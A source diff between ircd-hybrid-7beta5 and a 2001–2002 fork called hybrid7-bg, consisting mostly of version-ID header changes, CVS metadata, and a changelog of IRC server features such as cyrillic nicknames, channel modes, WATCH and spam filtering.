diff -uNrd ircd-hybrid-7beta5/BUGS hybrid7-bg/BUGS
--- ircd-hybrid-7beta5/BUGS	Tue May 15 03:20:36 2001
+++ hybrid7-bg/BUGS	Tue Jun  5 12:35:41 2001
@@ -64,4 +64,4 @@
  with any report  (with passwords and other sensitive information masked).
 
 --------------------------------------------------------------------------------
-$Id: BUGS,v 7.24 2001/05/15 07:20:36 toot Exp $
+$Id: BUGS,v 1.1.1.1 2001/06/05 16:35:41 demond Exp $
diff -uNrd ircd-hybrid-7beta5/CVS/Entries hybrid7-bg/CVS/Entries
--- ircd-hybrid-7beta5/CVS/Entries	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/CVS/Entries	Wed Sep 18 19:19:46 2002
@@ -0,0 +1,25 @@
+/BUGS/1.1.1.1/Tue Jun  5 16:35:41 2001//
+/Hybrid-team/1.4/Wed Jul 10 11:37:44 2002//
+/INSTALL/1.1.1.1/Tue Jun  5 16:35:41 2001//
+/LICENSE/1.1.1.1/Tue Jun  5 16:35:41 2001//
+/Makefile.in/1.1.1.1/Tue Jun  5 16:35:41 2001//
+/README.FIRST/1.1.1.1/Tue Jun  5 16:35:41 2001//
+/README.VMS/1.1.1.1/Tue Jun  5 16:35:41 2001//
+/README.small_nets/1.1.1.1/Tue Jun  5 16:35:41 2001//
+/RELNOTES/1.1.1.1/Tue Jun  5 16:35:41 2001//
+/TODO/1.1.1.1/Tue Jun  5 16:35:41 2001//
+/configure/1.1.1.1/Tue Jun  5 16:35:41 2001//
+/make.com/1.1.1.1/Tue Jun  5 16:35:41 2001//
+D/adns////
+D/autoconf////
+D/contrib////
+D/doc////
+D/gnats////
+D/iauth////
+D/include////
+D/messages////
+D/modules////
+D/src////
+D/tools////
+D/zlib////
+/ChangeLog/1.28/Wed Sep 18 23:19:44 2002//
diff -uNrd ircd-hybrid-7beta5/CVS/Repository hybrid7-bg/CVS/Repository
--- ircd-hybrid-7beta5/CVS/Repository	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/CVS/Repository	Wed Jul 24 18:31:56 2002
@@ -0,0 +1 @@
+hybrid7-bg
diff -uNrd ircd-hybrid-7beta5/CVS/Root hybrid7-bg/CVS/Root
--- ircd-hybrid-7beta5/CVS/Root	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/CVS/Root	Wed Jul 24 18:31:56 2002
@@ -0,0 +1 @@
+/var/source/src
diff -uNrd ircd-hybrid-7beta5/ChangeLog hybrid7-bg/ChangeLog
--- ircd-hybrid-7beta5/ChangeLog	Thu May 17 22:33:32 2001
+++ hybrid7-bg/ChangeLog	Wed Sep 18 19:19:44 2002
@@ -1,3 +1,172 @@
+*** 20020917_1 by demond
+- minor WATCH fixes (MAXPARA to 32, check on CLIENT)
+- minor +w chanmode fix, setting last_leave on PART
+
+
+*** 20020722_2 by demond
+- implemented WATCH (server notify), code borrowed from bahamut
+- lotsa bugs nailed down
+
+
+*** 20020717_1 by demond
+- raised: MODES=6, TOPICLEN=150, MAXBANS=40
+- word subst mode now allows '$' instead of space
+- fixed numerous annoying bugs
+
+
+*** 20020709_1 by demond
+- implemented chanmode +w (word substitutions)
+- implemented chanmode +z (no repeating allowed)
+- cosmetic fixes
+
+
+*** 20020622_2 by demond
+- now showing realhosts in rconn notices
+- filtering out URL spam from part comments
+- checking for services source in m_svshint.c
+- implemented anti-spam onjoin/onleave muting period 
+- introduced CONF server command for remote configuration
+- prohibition to kick/deop services bots
+
+
+*** 20020610_1 by demond
+- resolved remote client notices on burst issue
+- added IsRelay() check on +q notices
+- added drone_reason conf option
+- ISON now also triggers known client flag
+
+
+*** 20020609_2 by demond
+- introduced NICK/CLIENT IP relay, CAP IP 
+- remote client connection notices on umode +q
+- added immediate/batch trojan drone kline
+
+
+*** 20020601_1 by demond
+- added trojan drone ckecking
+- added conf block userpar{} for defining certain clients
+- now zapping URL spam from QUITs
+
+
+*** 20020222_2 by demond
+- fixed numeric reply 298 (WHOIS nick in cyrillic)
+- fixed irccmp() lookup tables to support cyrillic (Windows-1251)
+- added marking of translated cyrnicks in sendto_channel
+
+
+*** 20020216_1 by demond
+- ircd now sets its own corefile size 
+- introduced chanmode +C (no nicks in cyrillic allowed to join)
+- introduced relays{} conf block, describing which pseudo servers
+  are to be ignored on certain notices (server split/rejoin)
+
+
+*** 20011207_1 by demond
+- implemented chanmode +x: queueing all JOIN, PART, PRIVMSG
+  NICK and QUIT notifications to the channel and flushing the
+  queues through hybrid7 event system 
+- moved all nick collision kill notices to FLAGS_SKILL
+
+
+*** 20011202_1 by demond
+- implemented +M chanmode (only reg nicks may speak on channel)
+- implemented +R usermode (accept msgs from reg nicks only)
+- now not allowing mixed cyr/lat nicknames, indicating cyr nick
+  with a WHOIS numeric
+
+
+*** 20011104_2 by demond
+- fixed minor u@h spoof bug
+
+
+*** 20011104_1 by demond
+- netid now configurable, defaults to "bnet" if not specified
+- username@host can be given for spoofing
+- more efficient services lookup algorithm
+- cyrillic is allowed in nicks & usernames as configurable option
+
+
+*** 20010909_1 by demond
+- implemented +r and +R chanmodes (registered and reg nicks only channels)
+
+
+*** 20010908_3 by demond
+- fixed modules/Makefile.in, now creating autoload dir before installing files
+- now relaying TOPIC on burst_all() and checking topic TS on ms_topic()
+- removed restart_resolver() on REHASH, coredumps if theres no /etc/resolv.conf
+
+
+*** 20010908_2 by demond
+- now reseting FLAGS_SVS_IDENT on nick change
+- SVSHINT with no args resets all svsflags on all clients
+- no showing svsflags on WHOIS if services not present
+
+
+*** 20010908_1 by demond
+- fixed MODE_NOCOLOR omission in m_sjoin.c handler
+- fixed svshint_msgtab[] omission in modules.c (static linking)
+
+
+*** 20010828_1 by demond
+- implemented relaying of client svsflags field (bundled with hopcount :)
+
+
+*** 20010827_1 by demond
+- changed "identified" & "logged" WHOIS numerics... damn BitchX
+
+
+*** 20010826_1 by demond
+- implemented SVSHINT command for relaying services status flags
+
+
+*** 20010716_1 by demond
+- fixed realhost relay omission; fixed color stripping,
+  now will handle mIRC and ANSI colors correctly
+
+
+*** 20010712_1 by demond
+- implemented equivalent {} conf block; we now use it
+  for defining which nicks (in pairs) are to be treated 
+  as equivalent; STATS Y will show those
+
+
+*** 20010708_2 by demond
+- implemented services{} conf block, for services that are
+  to be treated specially; now SVSNICK accepted from services only;
+  WHOIS doesnt show channels that services clients are on
+
+
+*** 20010708_1 by demond
+- implemented SVSNICK command, change local client nick
+  by remote server (services) command
+
+
+*** 20010706_1 by demond
+- fixed color_strip() omission in m_part.c
+
+
+*** 20010705_1 by demond
+- fixed realhost logging in the userlog file
+
+
+*** 20010701_1 by demond
+- added skip_on_fail auth{} block option (yes/no) causing
+  aconf matching to skip this block if password check failed
+
+
+*** 20010625_1 by demond
+- fixed cyrillic translation in m_message on client
+
+
+*** 20010621 by demond
+- implemented cyrillic character translation (accessible
+  through 2 new usermodes: +T for Windows-1251 and +Y for ISO-8859-5
+
+
+*** 20010517_11-bg by demond
+- implemented hostname cloaking and no-color chanmode +c
+
+
 *** 20010517_11 by lusky
 - revved patchlevel to beta5
 
diff -uNrd ircd-hybrid-7beta5/Hybrid-team hybrid7-bg/Hybrid-team
--- ircd-hybrid-7beta5/Hybrid-team	Tue Apr 24 23:55:14 2001
+++ hybrid7-bg/Hybrid-team	Wed Jul 10 07:37:44 2002
@@ -1,4 +1,4 @@
-$Id: Hybrid-team,v 7.30 2001/04/25 03:55:14 habeeb Exp $
+$Id: Hybrid-team,v 1.4 2002/07/10 11:37:44 Administrator Exp $
  
 The hybrid team is a group of ircd coders who were frustrated
 with the instability and all-out "dirtiness" of the EFnet ircd's
@@ -55,3 +55,7 @@
  
 Send bug fixes/complaints/rotten tomatoes to ircd-hybrid@the-project.org.
 http://bugs.efnow.net may be worth a visit first.
+ 
+This particular hybrid7 version was developed by demond <demond@gmx.net>
+and is dedicated to BulgariaNet's PR girl ylith, sweet and compassionate.
+ 
diff -uNrd ircd-hybrid-7beta5/INSTALL hybrid7-bg/INSTALL
--- ircd-hybrid-7beta5/INSTALL	Sat May  5 09:46:23 2001
+++ hybrid7-bg/INSTALL	Tue Jun  5 12:35:41 2001
@@ -130,4 +130,4 @@
 This may be kludged in the future.
 
 --------------------------------------------------------------------------------
-$Id: INSTALL,v 7.14 2001/05/05 13:46:23 fl_ Exp $
+$Id: INSTALL,v 1.1.1.1 2001/06/05 16:35:41 demond Exp $
diff -uNrd ircd-hybrid-7beta5/LICENSE hybrid7-bg/LICENSE
--- ircd-hybrid-7beta5/LICENSE	Fri Oct  6 00:26:47 2000
+++ hybrid7-bg/LICENSE	Tue Jun  5 12:35:41 2001
@@ -1,4 +1,4 @@
-$Id: LICENSE,v 7.2 2000/10/06 04:26:47 lusky Exp $
+$Id: LICENSE,v 1.1.1.1 2001/06/05 16:35:41 demond Exp $
 
 		    GNU GENERAL PUBLIC LICENSE
 		     Version 1, February 1989
@@ -250,4 +250,4 @@
 That's all there is to it!
 
 --
-$Id: LICENSE,v 7.2 2000/10/06 04:26:47 lusky Exp $
+$Id: LICENSE,v 1.1.1.1 2001/06/05 16:35:41 demond Exp $
diff -uNrd ircd-hybrid-7beta5/Makefile.in hybrid7-bg/Makefile.in
--- ircd-hybrid-7beta5/Makefile.in	Sat May  5 20:04:43 2001
+++ hybrid7-bg/Makefile.in	Tue Jun  5 12:35:41 2001
@@ -16,7 +16,7 @@
 #*   along with this program; if not, write to the Free Software
 #*   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 #*
-#*   $Id: Makefile.in,v 7.30 2001/05/06 00:04:43 androsyn Exp $
+#*   $Id: Makefile.in,v 1.1.1.1 2001/06/05 16:35:41 demond Exp $
 #*/
 
 RM=@RM@
diff -uNrd ircd-hybrid-7beta5/README.FIRST hybrid7-bg/README.FIRST
--- ircd-hybrid-7beta5/README.FIRST	Thu Apr 26 03:53:32 2001
+++ hybrid7-bg/README.FIRST	Tue Jun  5 12:35:41 2001
@@ -88,4 +88,4 @@
 - Other files recommended for reading: BUGS, README.FIRST, INSTALL
 
 --------------------------------------------------------------------------------
-$Id: README.FIRST,v 7.16 2001/04/26 07:53:32 kreator Exp $
+$Id: README.FIRST,v 1.1.1.1 2001/06/05 16:35:41 demond Exp $
diff -uNrd ircd-hybrid-7beta5/README.VMS hybrid7-bg/README.VMS
--- ircd-hybrid-7beta5/README.VMS	Fri Jan 19 02:20:23 2001
+++ hybrid7-bg/README.VMS	Tue Jun  5 12:35:41 2001
@@ -16,4 +16,4 @@
 [.modules]*.obj;*. It's not installed automatically yet, you'll
 have to copy it to IRCD_PREFIX by hand.
 
-$Id: README.VMS,v 1.3 2001/01/19 07:20:23 ejb Exp $
+$Id: README.VMS,v 1.1.1.1 2001/06/05 16:35:41 demond Exp $
diff -uNrd ircd-hybrid-7beta5/README.small_nets hybrid7-bg/README.small_nets
--- ircd-hybrid-7beta5/README.small_nets	Wed Jan 24 09:58:34 2001
+++ hybrid7-bg/README.small_nets	Tue Jun  5 12:35:41 2001
@@ -53,4 +53,4 @@
   - Dianora
 
 --------------------------------------------------------------------------------
-$Id: README.small_nets,v 7.4 2001/01/24 14:58:34 wcampbel Exp $
+$Id: README.small_nets,v 1.1.1.1 2001/06/05 16:35:41 demond Exp $
diff -uNrd ircd-hybrid-7beta5/RELNOTES hybrid7-bg/RELNOTES
--- ircd-hybrid-7beta5/RELNOTES	Wed Jan 24 09:58:34 2001
+++ hybrid7-bg/RELNOTES	Tue Jun  5 12:35:41 2001
@@ -42,4 +42,4 @@
   *************************************************************************
 
 --------------------------------------------------------------------------------
-$Id: RELNOTES,v 1.8 2001/01/24 14:58:34 wcampbel Exp $
+$Id: RELNOTES,v 1.1.1.1 2001/06/05 16:35:41 demond Exp $
diff -uNrd ircd-hybrid-7beta5/adns/CVS/Entries hybrid7-bg/adns/CVS/Entries
--- ircd-hybrid-7beta5/adns/CVS/Entries	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/adns/CVS/Entries	Wed Jul 24 18:31:57 2002
@@ -0,0 +1,20 @@
+/.depend/1.1.1.1/Tue Jun  5 16:35:41 2001//
+/COPYING/1.1.1.1/Tue Jun  5 16:35:41 2001//
+/GPL-vs-LGPL/1.1.1.1/Tue Jun  5 16:35:41 2001//
+/Makefile.in/1.1.1.1/Tue Jun  5 16:35:41 2001//
+/README/1.1.1.1/Tue Jun  5 16:35:41 2001//
+/README.ircd/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/adns.h/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/check.c/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/dlist.h/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/event.c/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/general.c/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/internal.h/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/parse.c/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/query.c/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/reply.c/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/setup.c/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/transmit.c/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/tvarith.h/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/types.c/1.1.1.1/Tue Jun  5 16:35:42 2001//
+D
diff -uNrd ircd-hybrid-7beta5/adns/CVS/Repository hybrid7-bg/adns/CVS/Repository
--- ircd-hybrid-7beta5/adns/CVS/Repository	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/adns/CVS/Repository	Wed Jul 24 18:31:56 2002
@@ -0,0 +1 @@
+hybrid7-bg/adns
diff -uNrd ircd-hybrid-7beta5/adns/CVS/Root hybrid7-bg/adns/CVS/Root
--- ircd-hybrid-7beta5/adns/CVS/Root	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/adns/CVS/Root	Wed Jul 24 18:31:56 2002
@@ -0,0 +1 @@
+/var/source/src
diff -uNrd ircd-hybrid-7beta5/adns/Makefile.in hybrid7-bg/adns/Makefile.in
--- ircd-hybrid-7beta5/adns/Makefile.in	Sat Mar 31 13:12:27 2001
+++ hybrid7-bg/adns/Makefile.in	Tue Jun  5 12:35:41 2001
@@ -1,7 +1,7 @@
 #
 # Makefile.in for ircd/src
 #
-# $Id: Makefile.in,v 1.6 2001/03/31 18:12:27 ejb Exp $
+# $Id: Makefile.in,v 1.1.1.1 2001/06/05 16:35:41 demond Exp $
 #
 CC		= @CC@
 INSTALL		= @INSTALL@
diff -uNrd ircd-hybrid-7beta5/adns/adns.h hybrid7-bg/adns/adns.h
--- ircd-hybrid-7beta5/adns/adns.h	Sun Feb 25 03:41:01 2001
+++ hybrid7-bg/adns/adns.h	Tue Jun  5 12:35:42 2001
@@ -51,7 +51,7 @@
  *  Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
  *
  *
- *  $Id: adns.h,v 1.4 2001/02/25 08:41:01 androsyn Exp $
+ *  $Id: adns.h,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
  */
 
 #ifndef ADNS_H_INCLUDED
diff -uNrd ircd-hybrid-7beta5/adns/check.c hybrid7-bg/adns/check.c
--- ircd-hybrid-7beta5/adns/check.c	Wed Feb 14 00:53:08 2001
+++ hybrid7-bg/adns/check.c	Tue Jun  5 12:35:42 2001
@@ -24,7 +24,7 @@
  *  along with this program; if not, write to the Free Software Foundation,
  *  Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. 
  *
- * $Id: check.c,v 1.3 2001/02/14 05:53:08 toot Exp $
+ * $Id: check.c,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
  */
 
 #include "fileio.h"
diff -uNrd ircd-hybrid-7beta5/adns/dlist.h hybrid7-bg/adns/dlist.h
--- ircd-hybrid-7beta5/adns/dlist.h	Wed Feb 14 00:53:09 2001
+++ hybrid7-bg/adns/dlist.h	Tue Jun  5 12:35:42 2001
@@ -24,7 +24,7 @@
  *  along with this program; if not, write to the Free Software Foundation,
  *  Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. 
  *
- * $Id: dlist.h,v 1.3 2001/02/14 05:53:09 toot Exp $
+ * $Id: dlist.h,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
  */
 
 #ifndef ADNS_DLIST_H_INCLUDED
diff -uNrd ircd-hybrid-7beta5/adns/event.c hybrid7-bg/adns/event.c
--- ircd-hybrid-7beta5/adns/event.c	Fri Apr  6 05:30:36 2001
+++ hybrid7-bg/adns/event.c	Tue Jun  5 12:35:42 2001
@@ -26,7 +26,7 @@
  *  along with this program; if not, write to the Free Software Foundation,
  *  Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. 
  *
- * $Id: event.c,v 1.10 2001/04/06 09:30:36 a1kmm Exp $
+ * $Id: event.c,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
  */
 
 #include <errno.h>
diff -uNrd ircd-hybrid-7beta5/adns/general.c hybrid7-bg/adns/general.c
--- ircd-hybrid-7beta5/adns/general.c	Mon Feb 26 12:27:25 2001
+++ hybrid7-bg/adns/general.c	Tue Jun  5 12:35:42 2001
@@ -25,7 +25,7 @@
  *  along with this program; if not, write to the Free Software Foundation,
  *  Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. 
  *
- * $Id: general.c,v 1.9 2001/02/26 17:27:25 androsyn Exp $
+ * $Id: general.c,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
  */
 
 #include "fileio.h"
diff -uNrd ircd-hybrid-7beta5/adns/internal.h hybrid7-bg/adns/internal.h
--- ircd-hybrid-7beta5/adns/internal.h	Fri Apr  6 05:30:36 2001
+++ hybrid7-bg/adns/internal.h	Tue Jun  5 12:35:42 2001
@@ -26,7 +26,7 @@
  *  along with this program; if not, write to the Free Software Foundation,
  *  Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
  *
- * $Id: internal.h,v 1.7 2001/04/06 09:30:36 a1kmm Exp $
+ * $Id: internal.h,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
  */
 
 #ifndef ADNS_INTERNAL_H_INCLUDED
diff -uNrd ircd-hybrid-7beta5/adns/parse.c hybrid7-bg/adns/parse.c
--- ircd-hybrid-7beta5/adns/parse.c	Mon Feb 26 12:27:25 2001
+++ hybrid7-bg/adns/parse.c	Tue Jun  5 12:35:42 2001
@@ -24,7 +24,7 @@
  *  along with this program; if not, write to the Free Software Foundation,
  *  Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. 
  *
- * $Id: parse.c,v 1.4 2001/02/26 17:27:25 androsyn Exp $
+ * $Id: parse.c,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
  */
 
 #include "fileio.h"
diff -uNrd ircd-hybrid-7beta5/adns/query.c hybrid7-bg/adns/query.c
--- ircd-hybrid-7beta5/adns/query.c	Fri Apr 20 01:41:23 2001
+++ hybrid7-bg/adns/query.c	Tue Jun  5 12:35:42 2001
@@ -26,7 +26,7 @@
  *  along with this program; if not, write to the Free Software Foundation,
  *  Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. 
  *
- * $Id: query.c,v 1.10 2001/04/20 05:41:23 androsyn Exp $
+ * $Id: query.c,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
  */
 
 #include "memory.h"
diff -uNrd ircd-hybrid-7beta5/adns/reply.c hybrid7-bg/adns/reply.c
--- ircd-hybrid-7beta5/adns/reply.c	Fri Apr  6 05:30:37 2001
+++ hybrid7-bg/adns/reply.c	Tue Jun  5 12:35:42 2001
@@ -24,7 +24,7 @@
  *  along with this program; if not, write to the Free Software Foundation,
  *  Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. 
  *
- * $Id: reply.c,v 1.6 2001/04/06 09:30:37 a1kmm Exp $
+ * $Id: reply.c,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
  */
 
 #include <stdlib.h>
diff -uNrd ircd-hybrid-7beta5/adns/setup.c hybrid7-bg/adns/setup.c
--- ircd-hybrid-7beta5/adns/setup.c	Fri Apr  6 05:30:37 2001
+++ hybrid7-bg/adns/setup.c	Tue Jun  5 12:35:42 2001
@@ -25,7 +25,7 @@
  *  along with this program; if not, write to the Free Software Foundation,
  *  Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. 
  *
- * $Id: setup.c,v 1.19 2001/04/06 09:30:37 a1kmm Exp $
+ * $Id: setup.c,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
  */
 
 #include <stdlib.h>
diff -uNrd ircd-hybrid-7beta5/adns/transmit.c hybrid7-bg/adns/transmit.c
--- ircd-hybrid-7beta5/adns/transmit.c	Fri Apr 20 01:41:23 2001
+++ hybrid7-bg/adns/transmit.c	Tue Jun  5 12:35:42 2001
@@ -25,7 +25,7 @@
  *  along with this program; if not, write to the Free Software Foundation,
  *  Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. 
  *
- * $Id: transmit.c,v 1.4 2001/04/20 05:41:23 androsyn Exp $
+ * $Id: transmit.c,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
  */
 
 #include <errno.h>
diff -uNrd ircd-hybrid-7beta5/adns/tvarith.h hybrid7-bg/adns/tvarith.h
--- ircd-hybrid-7beta5/adns/tvarith.h	Fri Apr  6 05:30:37 2001
+++ hybrid7-bg/adns/tvarith.h	Tue Jun  5 12:35:42 2001
@@ -24,7 +24,7 @@
  *  along with this program; if not, write to the Free Software Foundation,
  *  Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
  *
- * $Id: tvarith.h,v 1.3 2001/04/06 09:30:37 a1kmm Exp $
+ * $Id: tvarith.h,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
  */
 
 #ifndef ADNS_TVARITH_H_INCLUDED
diff -uNrd ircd-hybrid-7beta5/adns/types.c hybrid7-bg/adns/types.c
--- ircd-hybrid-7beta5/adns/types.c	Mon Feb 26 12:27:26 2001
+++ hybrid7-bg/adns/types.c	Tue Jun  5 12:35:42 2001
@@ -24,7 +24,7 @@
  *  along with this program; if not, write to the Free Software Foundation,
  *  Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. 
  *
- * $Id: types.c,v 1.5 2001/02/26 17:27:26 androsyn Exp $
+ * $Id: types.c,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
  */
 
 #include <stdlib.h>
diff -uNrd ircd-hybrid-7beta5/autoconf/CVS/Entries hybrid7-bg/autoconf/CVS/Entries
--- ircd-hybrid-7beta5/autoconf/CVS/Entries	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/autoconf/CVS/Entries	Wed Jul 24 18:31:57 2002
@@ -0,0 +1,4 @@
+/acconfig.h/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/configure.in/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/install-sh/1.1.1.1/Tue Jun  5 16:35:42 2001//
+D
diff -uNrd ircd-hybrid-7beta5/autoconf/CVS/Repository hybrid7-bg/autoconf/CVS/Repository
--- ircd-hybrid-7beta5/autoconf/CVS/Repository	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/autoconf/CVS/Repository	Wed Jul 24 18:31:57 2002
@@ -0,0 +1 @@
+hybrid7-bg/autoconf
diff -uNrd ircd-hybrid-7beta5/autoconf/CVS/Root hybrid7-bg/autoconf/CVS/Root
--- ircd-hybrid-7beta5/autoconf/CVS/Root	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/autoconf/CVS/Root	Wed Jul 24 18:31:57 2002
@@ -0,0 +1 @@
+/var/source/src
diff -uNrd ircd-hybrid-7beta5/autoconf/acconfig.h hybrid7-bg/autoconf/acconfig.h
--- ircd-hybrid-7beta5/autoconf/acconfig.h	Sat May  5 20:04:50 2001
+++ hybrid7-bg/autoconf/acconfig.h	Tue Jun  5 12:35:42 2001
@@ -1,5 +1,5 @@
 /*
- * $Id: acconfig.h,v 7.12 2001/05/06 00:04:50 androsyn Exp $
+ * $Id: acconfig.h,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
  */
 
 /* Define if you have the poll() system call.  */
diff -uNrd ircd-hybrid-7beta5/autoconf/configure.in hybrid7-bg/autoconf/configure.in
--- ircd-hybrid-7beta5/autoconf/configure.in	Mon May  7 19:51:05 2001
+++ hybrid7-bg/autoconf/configure.in	Tue Jun  5 12:35:42 2001
@@ -1,4 +1,4 @@
-dnl $Id: configure.in,v 7.54 2001/05/07 23:51:05 androsyn Exp $
+dnl $Id: configure.in,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
 dnl Process this file with autoconf to produce a configure script.
 AC_INIT(include/class.h)
 
diff -uNrd ircd-hybrid-7beta5/autoconf/install-sh hybrid7-bg/autoconf/install-sh
--- ircd-hybrid-7beta5/autoconf/install-sh	Wed Aug 25 23:36:21 1999
+++ hybrid7-bg/autoconf/install-sh	Tue Jun  5 12:35:42 2001
@@ -1,5 +1,5 @@
 #! /bin/sh
-# $Id: install-sh,v 7.1 1999/08/26 03:36:21 lusky Exp $
+# $Id: install-sh,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
 # install - install a program, script, or datafile
 # This comes from X11R5 (mit/util/scripts/install.sh).
 #
diff -uNrd ircd-hybrid-7beta5/contrib/CVS/Entries hybrid7-bg/contrib/CVS/Entries
--- ircd-hybrid-7beta5/contrib/CVS/Entries	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/contrib/CVS/Entries	Wed Jul 24 18:31:57 2002
@@ -0,0 +1,13 @@
+/.depend/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/Makefile.in/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/README/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/README.HASH/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/links_notice.c/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/m_clearchan.c/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/m_hash.c/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/m_jupe.c/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/m_nickinfo.c/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/m_opme.c/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/stats_notice.c/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/whois_notice.c/1.1.1.1/Tue Jun  5 16:35:42 2001//
+D
diff -uNrd ircd-hybrid-7beta5/contrib/CVS/Repository hybrid7-bg/contrib/CVS/Repository
--- ircd-hybrid-7beta5/contrib/CVS/Repository	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/contrib/CVS/Repository	Wed Jul 24 18:31:57 2002
@@ -0,0 +1 @@
+hybrid7-bg/contrib
diff -uNrd ircd-hybrid-7beta5/contrib/CVS/Root hybrid7-bg/contrib/CVS/Root
--- ircd-hybrid-7beta5/contrib/CVS/Root	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/contrib/CVS/Root	Wed Jul 24 18:31:57 2002
@@ -0,0 +1 @@
+/var/source/src
diff -uNrd ircd-hybrid-7beta5/contrib/Makefile.in hybrid7-bg/contrib/Makefile.in
--- ircd-hybrid-7beta5/contrib/Makefile.in	Sat Mar 31 13:12:29 2001
+++ hybrid7-bg/contrib/Makefile.in	Tue Jun  5 12:35:42 2001
@@ -1,7 +1,7 @@
 #
 # Makefile.in for ircd/contrib
 #
-# $Id: Makefile.in,v 1.12 2001/03/31 18:12:29 ejb Exp $
+# $Id: Makefile.in,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
 #
 CC		= @CC@
 RM		= @RM@
diff -uNrd ircd-hybrid-7beta5/contrib/m_clearchan.c hybrid7-bg/contrib/m_clearchan.c
--- ircd-hybrid-7beta5/contrib/m_clearchan.c	Mon May 14 06:08:47 2001
+++ hybrid7-bg/contrib/m_clearchan.c	Tue Jun  5 12:35:42 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_clearchan.c,v 1.16 2001/05/14 10:08:47 toot Exp $
+ *   $Id: m_clearchan.c,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
  */
 #include "tools.h"
 #include "handlers.h"
diff -uNrd ircd-hybrid-7beta5/contrib/m_hash.c hybrid7-bg/contrib/m_hash.c
--- ircd-hybrid-7beta5/contrib/m_hash.c	Wed May 16 04:50:56 2001
+++ hybrid7-bg/contrib/m_hash.c	Tue Jun  5 12:35:42 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_hash.c,v 1.5 2001/05/16 08:50:56 toot Exp $
+ *   $Id: m_hash.c,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
  */
 #include "tools.h"
 #include "handlers.h"
diff -uNrd ircd-hybrid-7beta5/contrib/m_jupe.c hybrid7-bg/contrib/m_jupe.c
--- ircd-hybrid-7beta5/contrib/m_jupe.c	Thu Mar 15 14:14:02 2001
+++ hybrid7-bg/contrib/m_jupe.c	Tue Jun  5 12:35:42 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_jupe.c,v 1.13 2001/03/15 19:14:02 fl_ Exp $
+ *   $Id: m_jupe.c,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
  */
 
 /*
diff -uNrd ircd-hybrid-7beta5/contrib/m_nickinfo.c hybrid7-bg/contrib/m_nickinfo.c
